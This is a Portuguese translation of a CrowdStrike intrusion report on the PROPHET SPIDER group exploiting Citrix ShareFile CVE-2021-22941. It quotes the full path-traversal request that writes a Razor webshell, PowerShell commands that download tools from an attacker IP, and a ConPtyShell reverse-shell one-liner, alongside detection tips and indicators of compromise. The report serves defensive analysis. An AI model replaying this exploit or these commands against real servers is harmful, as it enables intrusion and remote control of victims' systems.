PROPHET SPIDER explora a vulnerabilidade de execução remota de código Citrix ShareFile CVE-2021-22941 para entregar Webshell

No início de 2022, CrowdStrike Intelligence e CrowdStrike Services investigaram um incidente no qual o PROPHET SPIDER explorou CVE-2021-22941 – uma vulnerabilidade de execução remota de código (RCE) que afeta o Citrix ShareFile Storage Zones Controller – para comprometer um Microsoft Internet Information Services (IIS) servidor web.

O adversário explorou a vulnerabilidade para implantar um webshell que permitia o download de ferramentas adicionais. Este incidente destaca como o PROPHET SPIDER continua a evoluir seu ofício enquanto continua a explorar vulnerabilidades conhecidas do servidor web.

Fundo

PROFETA ARANHA

O PROPHET SPIDER é um ator do eCrime, ativo desde pelo menos maio de 2017, que obtém acesso principalmente às vítimas comprometendo servidores web vulneráveis, o que geralmente envolve o aproveitamento de uma variedade de vulnerabilidades divulgadas publicamente. O adversário provavelmente funcionou como um agente de acesso – cedendo acesso a terceiros para implantar ransomware – em várias instâncias.

CVE-2021-22941

Em setembro de 2021, a Citrix divulgou uma vulnerabilidade relativa de passagem de caminho no ShareFile Zones Storage Controller, designada CVE-2021-22941. Pouco tempo depois, pesquisadores de segurança demonstraram uma exploração de prova de conceito (POC) para o CVE. Com base nos detalhes técnicos conhecidos, outros conseguiram reproduzir explorações totalmente armadas para CVE-2021-22941 que proliferaram desde meados de outubro de 2021. A vulnerabilidade permite que um adversário sobrescreva um arquivo existente em um servidor de destino por meio de um uploadidparâmetro passado em um solicitação HTTP .GET

Acesso inicial e exploração

Em 10 de janeiro de 2022, a PROPHET SPIDER enviou uma POSTsolicitação HTTP para um servidor IIS de um cliente da plataforma CrowdStrike Falcon® , usando o agente do usuário python-requests/2.26.0. A solicitação para /upload.aspxcontinha o seguinte comando:

POST /upload.aspx?uploadid=%40using+System.Diagnostics%3B%40%7Bint+idx0%3D+0%3Bstring+str_idx0+%3D+idx0.ToString%28%29%3B+int+idx1+%3D+1%3Bstring+str_idx1+%3D+idx1.ToString%28%29%3Bstring+cmd+%3D+Request.QueryString%5Bstr_idx0%5D%3Bstring+arg+%3D+Request.QueryString%5Bstr_idx1%5D%3BProcess.Start%28cmd%2Carg%29%3B%7D%2F..%2F..%2FConfigService%5CViews%5CShared%5CError.cshtml&bp=123&accountid=123

Existem três componentes principais para esta solicitação.

O endpoint URI /upload.aspx é usado para uploads do ShareFile e geralmente vem com parâmetros para definir as especificações do objeto de upload, como uploadid, cid ou batchid. Nesse caso, o parâmetro uploadid continha um webshell:

uploadid=@using+System.Diagnostics;@{int+idx0=+0;string+str_idx0+=+idx0.ToString();+int+idx1+=+1;string+str_idx1+=+idx1.ToString();string+cmd+=+Request.QueryString[str_idx0];string+arg+=+Request.QueryString[str_idx1];Process.Start(cmd,arg);}

Este é o conteúdo que o exploit gravará em um arquivo ASP.NET; ele usa a sintaxe Razor, onde @<keyword>permite que uma palavra-chave seja usada como um nome de variável e @{é usada para abrir um bloco de código C#. O método C# Process.Start(cmd,arg);fornece a função backdoor que será usada para executar comandos arbitrários.

/../../ConfigService\Views\Shared\Error.cshtml

Esta é a travessia do caminho relativo que permitirá que a carga útil sobrescreva a Error.cshtmlpágina legítima.

bp=123&accountid=123

Esses são os parâmetros esperados pela função de upload e incluídos para evitar a ocorrência de um erro. Além disso, esses valores correspondem aos caracteres padrão usados ​​na exploração CVE-2021-22941 disponível publicamente mencionada anteriormente . 

Os analistas que procuram evidências de tentativa de exploração do CVE-2021-22941 podem examinar os logs de acesso do IIS para solicitações da Web que:

  • Alvoupload.aspx
  • Contêm strings codificadas para ../ConfigService\Views\Shared\Error.cshtmlnos parâmetros de URL
  • Pode conter &bp=123&accountid=123se o invasor não personalizou a carga útil

Depois que o webshell estiver definido, ele poderá ser acessado enviando uma solicitação HTTP para /configservice/Home/Errorcom um ou dois parâmetros de URL. O ASP.NET direcionará essas solicitações para Error.cshtml, que geralmente contém um cabeçalho HTML simples dizendo “Desculpe, ocorreu um erro ao processar sua solicitação”. Devido à exploração, o conteúdo foi substituído pelo bloco de código C# e será invocado Process.Start(cmd.arg)usando os parâmetros de URL passados ​​na GETsolicitação.

Comandos de pós-exploração 

Após obter o acesso inicial, o PROPHET SPIDER usou o seguinte comando para testar a conectividade:

CMD.exe /C nslookup xab8v404gwftvw5nvw95ig6ybphf54.burpcollaborator[.]net</code

Se for bem-sucedido, esse comando executa uma pesquisa de nome em um subdomínio de burpcollaborator[.]net, que a ferramenta de teste de vulnerabilidade de código aberto BurpSuite pode verificar para confirmar os sistemas de resposta.

Em seguida, o adversário tentou executar comandos codificados do PowerShell que foram decodificados para:

powershell -Command (New-Object System.Net.WebClient).DownloadFile('http[:]//45.61.136[.]39:443/wget[.]bin','C:\Windows\temp\wget.bin')

cmd /c c:\Windows\temp\wget.bin -t 1 http[:]//45.61.136[.]39:443/winn.exe -O c:\windows\temp\wi.exe

Esses comandos tentaram baixar o wgetutilitário legítimo de um endereço IP remoto e, em seguida, tentaram usar wgetpara baixar outro binário remoto, chamado winn.exe. O winn.exedownload não foi bem-sucedido. O adversário então tentou instalar um shell reverso de código aberto do GitHub:

powershell -Command IEX(IWR https[:]//raw.githubusercontent[.]com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell -RemoteIp 107.181.187[.]184 -RemotePort 4242 -Rows 44 -Cols 166

Essa carga tentou carregar o ConPtyShellshell reverso diretamente do GitHub, com parâmetros para se conectar de volta ao endereço IP 107.181.187[.]184pela porta TCP 4242.

Conclusão

Como o CrowdStrike Intelligence relatou anteriormente, o PROPHET SPIDER é um ator oportunista do eCrime que explora vulnerabilidades de servidor divulgadas publicamente , geralmente para fornecer webshells. Essa exploração recente do CVE-2021-22941 demonstra a disposição do adversário em operacionalizar um código de exploração novo e diferente, bem como sua preferência duradoura por implantar o wgetutilitário para iniciar as operações.

Indicadores de Compromisso (IOCs)

DescriçãoEndereços IP
Hospedagem de sites wget.binewinn.exe45.61.136[.]39
Destino de retorno de chamada para ConPtyShellshell reverso107.181.187[.]184
Fonte observada explorando CVE-2021-22941188.119.149[.]160
ConPtyShellShell reverso de hospedagem de siteshxxps[:]//raw.githubusercontent[.]com
/antonioCoco/ConPtyShell/master
/Invoke-ConPtyShell.ps1

Táticas Observadas MITRE ATT&CK®

TáticaDescrição
Acesso inicialT1190: Explorar o aplicativo voltado para o público
ExecuçãoT1059.001: Interpretador de comandos e scripts: PowerShell
PersistênciaT1505.003: Componente de software do servidor: Web Shell
Comando e controleT1071: Protocolo de camada de aplicativo
T1105: Transferência de Ferramenta de Entrada

Fonte: https://www.crowdstrike.com/